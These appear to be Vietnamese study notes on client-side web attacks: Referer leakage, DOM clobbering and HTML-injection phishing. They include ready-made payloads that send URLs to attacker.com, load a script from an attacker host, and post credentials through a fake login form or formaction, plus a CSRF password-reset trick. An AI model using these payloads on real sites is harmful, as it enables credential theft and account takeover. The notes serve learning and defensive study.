# HTML Injection
[Tài liệu](https://book.jorianwoltjer.com/web/client-side/cross-site-scripting-xss/html-injection#phishing)
==========================//==========================
## Referer
### Referer là gì?
- Là một HTTP Header cho biết người dùng đang ở đâu trước khi gửi request đến server.
**Ví dụ**
Đang đọc một bài báo trên trang **vnexpress.net** và nhấn vào một link quảng cáo dẫn đến **shopee.vn**. Khi đó trình duyệt sẽ gửi một yêu cầu đến máy chủ của Shopee kèm theo tiêu đề: `Referer: https://vnexpress.net/bai-bao-vừa-doc`
- **Mục đích**: giúp server nhận diện trang web giới thiệu mà người dùng vừa truy cập, từ đó phục vụ cho việc phân tích dữ liệu, logging, hoặc tối ưu hóa bộ nhớ đệm
### Cấu trúc của Referer: `Referer: <URL>`
- Một referer header có thể bao gồm: **Origin** (nguồn), **Path** (đường dẫn) và **querystring** (chuỗi truy vấn). Nnó sẽ không bao gồm:
- Các đoạn định danh sau dấu `# (URL fragments)`
- Thông tin đăng nhập như `username:password`
- **Ví dụ:** khi đang ở trang https://bank.com/transfer?id=123 và bấm vào một liên kết dẫn tới https://attacker.com, trình duyệt sẽ gửi request tới attacker.com với header như sau:
```javascript
GET / HTTP/1.1
Host: attacker.com
Referer: https://bank.com/transfer?id=123
```
### Referer policy
- Vì URL có thể chứa thông tin nhạy cảm (token, session, ID,..), việc gửi full URl qua Referer dẫn đến rò rỉ dữ liệu. Do đó header `Referrer-policy` ra đời để server hướng dẫn trình duyệt nên gửi bao nhiêu thông tin
- Ngày nay thường chỉ gửi phần **Origin** thay vì cả path và query parameters
- Thiết lập chính sách qua HTTP Header hoặc sử dụng thẻ `<meta>` hoặc thuộc tính `referrerpolicy` trên các phần tử HTML cụ thể
- Ví dụ:
- HTTP Header:`Referrer-Policy: strict-origin-when-cross-origin`
- Sử dụng thẻ Meta cho toàn trang: `<meta name="referrer" content="unsafe-url">`
- Sử dụng cho từng hình ảnh: `<img src="https://attacker.com" referrerpolicy="unsafe-url">`
**Các giá trị chính của Referrer-Policy:**
- `no-referrer`: Không bao giờ gửi Referer header
- `same-origin`: Chỉ gửi khi request trong cùng một site. Sang site khác sẽ không gửi
- `origin`: Chỉ gửi domain (VD: https://example.com), cắt bỏ đường dẫn và tham số (/page?q=1)
- `strict-origin`: Giống origin, nhưng không gửi khi hạ cấp từ HTTPS xuống HTTP
- `origin-when-cross-origin`: Gửi full URL nếu cùng site, chỉ gửi origin nếu sang site khác
- `strict-origin-when-cross-origin`: (mặc định) Full URL nếu cùng site. Chỉ gửi origin nếu sang site khác VÀ đảm bảo an toàn (HTTPS). Không gửi nếu HTTPS -> HTTP
- `unsafe-url`: Luôn gửi full URL (bao gồm query params) bất kể đi đâu, kể cả HTTPS -> HTTP.
### Các hướng tấn công
#### Information leak
- Nhiều trang web đặt thông tin nhạy cảm ngay trên URL (như mã OAuth). Nếu nhấn vào một link dẫn đến trang web của hacker, thông tin này sẽ bị rò rỉ qua referer header.
- Ví dụ:
- Trang web https://victim.com/reset-password?token=secret123 chứa liên kết đến trang bên ngoài (ví dụ: icon mạng xã hội, hoặc một hình ảnh được tải từ server khác)
- Khi người dùng tải tài nguyên đó, trình duyệt gửi `Referer: https://victim.com/reset-password?token=secret123`
- Từ đó hacker (chủ server nhận request) đọc được log server và lấy được token reset mật khẩu
#### Referer-Based Access Control Bypass
- Một số dev sử dụng Referrer để xác thực quyền truy cập thay vì dùng session hoặc token
- Trang admin admin.site.com/deleteUser chỉ cho phép thực thi nếu người dùng đến từ admin.site.com/dashboard
- Hacker có thể giả mạo (spoof) **Referer header** bằng cách sử dụng các công cụ chặn bắt gói tin (Burp Suite) hoặc viết script:
`curl -H "Referer: https://admin.site.com/dashboard" https://admin.site.com/deleteUser`
#### HTML Injection
- Hacker chèn code HTML để có thể hạ cấp chính sách bảo mật để đánh cắp URL hiệnt tại
- Trang web đang dùng chính sách mặc định an toàn (`strict-origin-when-cross-origin`), URL chứa thông tin nhạy cảm nhưng không gửi đi
- Hacker chèn thẻ meta để ép trình duyệt dùng chính sách không an toàn
``` html
<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com/logger">
```
- Cơ chế:
1. Trình duyệt đọc thẻ `<meta>`, thay đổi chính sách Referer của trang hiện tại thành `unsafe-url`
2. Trình duyệt tải ảnh từ `attacker.com`
3. Do policy đã bị thay đổi, request tải ảnh sẽ kèm theo `Referer` chứa toàn bộ URL nhạy cảm của victim
**!!?** Trên các trình duyệt như Chromium, kẻ tấn công có thể dùng thẻ `<meta>` để áp dụng chính sách `Referer` ngay cả khi trang web sử dụng các bộ lọc làm sạch dữ liệu (sanitizers)
**Một số các hướng tấn công khác như Rò rỉ URL qua Form, Đọc Referer qua iframe, DOM-Based Referer Leak.....**
## DOM Clobbering
### Khái niệm
- Chèn HTML vào trang web để thay đổi (ghi đè) các biến toàn cục hoặc các thuộc tính của đối tượng `document` và `window` => thay đổi logic
### Cơ chế
- Browser tự động ánh xạ các phần tử HTML có attribute `id` hoặc `name` thành các attribute object `window` hoặc `document`
-
#### object `window`
- Mọi phần tử có id đều trở thành một biến toàn cục dưới window.
- Với thuộc tính `id`: Hầu hết các thẻ đều hoạt động

- Khi có nhiều element cùng `id` thì sẽ trở thành **HTMLCollection**

- Với thuộc tính `name`: Chỉ một số tag nhất định như `<embed>`, `<form>`, `<iframe>`, `<img>`, `<object>`

#### object document
- Tương tự với `window`
- Với `id` thì chỉ có tage `object`
- 
- Với `name` thì giống với `window`
- 
#### cơ chế của browser
1. web load & parsing, browser tải HTML và tạo DOM Tree]
2. Named Property Visibility thuật toán quét các attributes `id` và `name`
3. cơ chế mapping xem có element nào có `id` và `name` không
4. tự động tạo property trên object `window`
Ví dụ: `window.myVar = element`
5. Xung đột code JS, truy cập biến `myVar` nhưng chưa khai báo `var/let/const`
6. Khi có sự trùng tên giữa biến JS và element HTML => ưu tiên element HTML => biến JS bị clobberingbởi element HTML cùng tên đó, JS nhận giá trị là `DOM Element` thay vì `undefined` hoặc `object`
7. JS xử lý sai logic (biến thành element) => chèn mã độc (XSS) qua thuộc tính của element
### Clobbering trong object và document
#### Dạng basic

- Biến `window.isAdmin` lúc này không còn là `undefined` nữa mà là một đối tượng `HTMLImageElement`.
- Trong JS một đối tượng luôn được đánh giá là `true` trong câu lệnh điều kiện
#### Clobbering 2 cấp
- Dùng để ghi đè các thuộc tính dạng object.property
**Ví dụ: Sử dụng thẻ `<a>`**
- Thẻ `<a>` đặc biệt vì khi được ép kiểu về string, nó sẽ trả về giá trị của thuộc tính `href`

- Web thấy hai phần tử cùng `ID config`, tạo ra `window.config` là một `HTMLCollection`
- `HTMLCollection` này có thuộc tính `url` (do `name="url"`) trỏ đến phần tử thứ hai
- Khi JS gọi `window.config.url.toString()`, nó sẽ nhận được chuỗi `"javascript:alert('XSS')"`
#### Clobbering Document Properties

- Như vậy là `document` có thể clobbering được
=> Có nghĩa là `document` sẽ dễ bị attack
#### Ví dụ về điều hướng script loading
- một trang web tải script cấu hình như sau:
```javascript
var scriptUrl = window.config ? window.config.url : "/js/default.js";
var s = document.createElement('script');
s.src = scriptUrl;
document.body.appendChild(s);
```
Payload:
```htmlembedded
<a id="config"></a>
<a id="config" name="url" href="https://attacker.com/malicious.js"></a>
```
- Biến `window.config.url` sẽ trả về URL của hacko => trang web tải mã độc thay vì file script mặc định

### Clobbering trong các element khác
#### Khai thác bằng tag `<form>`
- Thẻ `<form>` có tính chất đặc biệt là nó gom nhóm các phần tử con bên trong => lợi dụng để clobber các thuộc tính:
```htmlembedded
<form id="x"><input name="y" value="clobbered"></form>
```
- Lúc này `x.y` sẽ trả về `input`. Nếu ứng dụng dùng `x.y.value`, ta đã kiểm soát được dữ liệu đầu vào

#### Khai thác bằng thẻ `<iframe>`
- có `srcdoc` của iframe, ta có thể clobber các cấp độ sâu hơn (như `a.b.c.d`) bằng cách lồng các `iframe` và đặt `name` cho nó.
- Mỗi `name` của `iframe` sẽ tạo ra một thuộc tính trên đối tượng `window` của trang cha
### Object prototypes
```javascript
const person = {
name: "aaa",
chao() {
console.log('abc');
},
};
```
- object trên có 1 property `name` và 1 method là chao(). Không chỉ thế object này còn có nhiều properties khác nữa:

- Mọi object trong JS đều có một `built-in property`, được gọi là `prototype`
- Bản thân cái `prototype` là một object, nên `prototype` sẽ có `prototype` của nó => `prototype chain` => Chain này kết thúc khi chạm tới giá trị `null`
- Để lấy prototype ta sử dụng `Object.getPrototypeOf(obj)`

- Khi cố gắng truy cập vào property của object, nếu không tìm thấy trên chính đối tượng đó thì sẽ chuyển sang prototype của object đó để tìm kiếm
- Để kiểm tra một property có thuộc object đó không ta sử dụng `obj.hasOwnProperty()`, method này sẽ chỉ kiểm tra trong chính obj hiện tại:

- Vì ở đây `toString` thuộc prototype của nó
### phương thức toString()
- Với tag `div` khui chuyển sang string sẽ thành `[object HTMLDivElement]`

- Với tag `img` khui chuyển sang string sẽ thành `[object HTMLImageElement]`

- Các thẻ trên trả về dạng `[object HTML...Element]` là vì cơ chế kế thức và quy chuẩn **Web IDL** trong JS
- Kế thừa từ `Object.prototype.toString`
- Hầu hết mọi đối tượng đều kế thừa từ `Object`.
- Nếu 1 đối tượng không tự định nghĩa phương thức `toString()` của riêng nó thì nó sẽ sử dụng phương thức mặc định từ `Object.prototype`
- Phương thức mặc định `Object.prototype.toString()`trả về một chuỗi đại diện cho **kiểu dữ liệu nội bộ** của đối tượng đó theo cấu trúc: `"[object " + [[Class]] + "]"`
- **Symbol.toStringTag**:
- Tên nằm sau chữ `object` (VD: `HTMLDivElement`) được xác định bởi một thuộc tính gọi là `Symbol.toStringTag`
- Khi gọn `toString()` trên một thẻ `div`, browser sẽ tìm xem đối tượng đó có thuộc tính `Symbol.toStringTag` hay không
- Với thẻ `div` thuộc tính này có giá trị `HTMLDivElement`
- Kết hợp với định dạng mặc định ta nhận được `[object HTMLDivElement]`
- Mục đích của `toString()` là để nhận diện loại đối tượng chứ không phải là lấy nội dung hiển thị
- Nếu muốn lấy mã HTML: phải dùng `.innerHTML` hoặc `.outerHTML`
- Nếu muốn lấy văn bản: phải dùng `.textContent` hoặc `.innerText`
- Với tag `<a>` hoặc `<area>`. Khi các phần tử này bị ép kiểu sang string sẽ trả về giá trị của thuộc tính href

- Do thẻ `a` và `area` trả về giá trị thuộc tính `href` thay vì `[object HTMLAnchorElement]` là do `Legacy Behavior`
- Browser đã override phương thức `toString()` của lớp `HTMLAnchorElement` để nó trả về URl mà nó trỏ tới
- Thẻ `<a>` triển khai một interface gọi là `URLUtils` (giống như đối tượng `window.location`). Interface này yêu cầu phương thức `toString()` phải trả về URL
### Tóm lại
- Luôn khai báo biến với `let`, `const` hoặc `var` bên trong scope hẹp để tránh bị ghi đè bởi biến toàn cục
- Thay vì chỉ kiểm tra `if (config.url)` thì kiểm tra `if (typeof config.url === 'string')`
## Phishing
### Iframe + `<style>` Css
- Tạo ra một trang lừa đảo che phủ toàn bộ màn hình web đích
- Cơ chế:
- Chèn một `iframe` trỏ đến trang web của mình
- Sử dụng CSS để định dạng `iframe` này chiếm toàn bộ `width` và `height` màn hình (`width: 100vw;` `height: 100vh`)
- Đặt nó ở vị trí cố định trên cùng (`position: fixed; top: 0; left: 0`)
- Vì `iframe` được nhúng trên tên miền thật của target, address bar của browser vẫn hiển thị URL của web đích (ví dụ: portswigger.com)
- Điều này dễ lừa user tin rằng họ đang ở trang web đích
- Nhưng các Password Managers thường sẽ không tự động điền thông tin vào `iframe` này vì nguồn của `iframe` khác với tên miền chính
**Ví dụ:**
```htmlembedded
<iframe src="https://hehe.com"></iframe>
<style>
iframe {
width: 100vw; height: 100vh;
position: fixed; top: 0; left: 0; border: none;
}
</style>
```
- Việc nhúng `iframe` trang web của ta trên một mục tiêu cũng cung cấp cho ta một tham chiếu đến nó thông qua `top`
- Đầu tiên ta có thể chuyển hướng trang cấp cao nhất (`top-level page`) bằng cách thiết lập `location =:`
```htmlembedded
<script>
top.location = "https://attack-phishing.com"
</script>
```
### Form
- Do phishing dùng iframe bị hạn chế bởi password manager, không auto-complete
=> có thể được cải thiện bằng cách tạo trang phishing ngay bên trong điểm injection
- Cơ chế: thay vì tải một trang ngoài, ta chèn mã HTML của một form có giao diện giống hệt trang đăng nhập thật, sử dụng các lớp CSS có sẵn của trang web để đánh lừa
- Quan trọng: element `action=` của form sẽ được đổi thành tên miền của attacker (ví dụ: action="https://hehe.com")
```htmlmixed!
<div style="position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; z-index: 999999; background: white">
<div class="d-flex flex-column h-100 justify-content-center align-items-center">
<h1>Login</h1>
<form action="https://hehe.com">
<input class="form-control" type="text" name="username" placeholder="Username..." autofocus>
<input class="form-control" type="text" name="password" placeholder="Password...">
<button class="btn btn-primary" type="submit">Submit</button>
</form>
</div>
</div>
```
- vì mã HTML này được lưu trữ trực tiếp trên mục tiêu, các trình quản lý mật khẩu với tính năng tự động điền sẽ không biết sự khác biệt giữa cái này và trang thật => Tự động điền thông tin đăng nhập, khi user nhấn gửi, thông tin sẽ được chuyển đến attacker
- Ngoài việc rò rỉ các `input` của `form`, ta cũng có thể sử dụng `form` để gửi các `request` cụ thể từ một nguồn đáng tin cậy
- Điều này có thể bypass các kiểm tra như cookie `SameSite=`, header `Origin:` hoặc thậm chí các token CSRF nếu JS tự động thêm chúng vào bất kỳ form nào trên trang
### form action từ `<input>`
```htmlembedded
<form action="/login" method="post">
<input type="text" name="username">
<input type="text" name="password">
<button type="submit" class="injection_here">Submit</button>
</form>
```
- Một injection như `" formaction="https://hehe.com` sẽ khiến việc nhấn nút gửi thông tin xác thực đến `hehe.com` thay vì đích ban đầu
- Exploit:
```htmlembedded!
<button type="submit" class="" formaction="https://attacker.com">Submit</button>
```
### Form Action Hijacking & CSRF Form Re-use
- **Form Action Hijacking:** Sử dụng thuộc tính `formaction` trên một nút bấm để chuyển hướng dữ liệu login về máy chủ kẻ tấn công
- **CSRF Form Re-use:** ta có thể dùng thuộc tính `form` để đính kèm một `input` giả mạo vào một form hợp lệ đã có sẵn token CSRF:
```htmlembedded
<form id="search-form" action="/search" method="post">
<input type="hidden" name="csrf" value="VALID_TOKEN_1337">
<button type="submit">Tìm kiếm</button>
</form>
```
Payload HTML Injection:
```htmlembedded
<input form="search-form" type="hidden" name="password" value="hacked">
<button form="search-form" formaction="/reset_password" type="submit"
style="position: fixed; top: 0; left: 0; width: 100vw; height: 100vh; opacity: 0">
</button>
```
- Khi người dùng nhấp vào bất kỳ đâu trên màn hình, yêu cầu sẽ được gửi đến `/reset_password` với đầy đủ `VALID_TOKEN_1337`, nhưng mang theo tham số `password` do ta định sẵn.
```ja
POST /reset_password HTTP/1.1
Host: target.com
Origin: https://target.com
Content-Type: application/x-www-form-urlencoded
csrf=1337&query=&password=hacked
```
- Đối với các Password Managers, phishing theo cách này vô cùng hiệu quả vì tính năng tự động điền vẫn hoạt động do tên miền là chính xác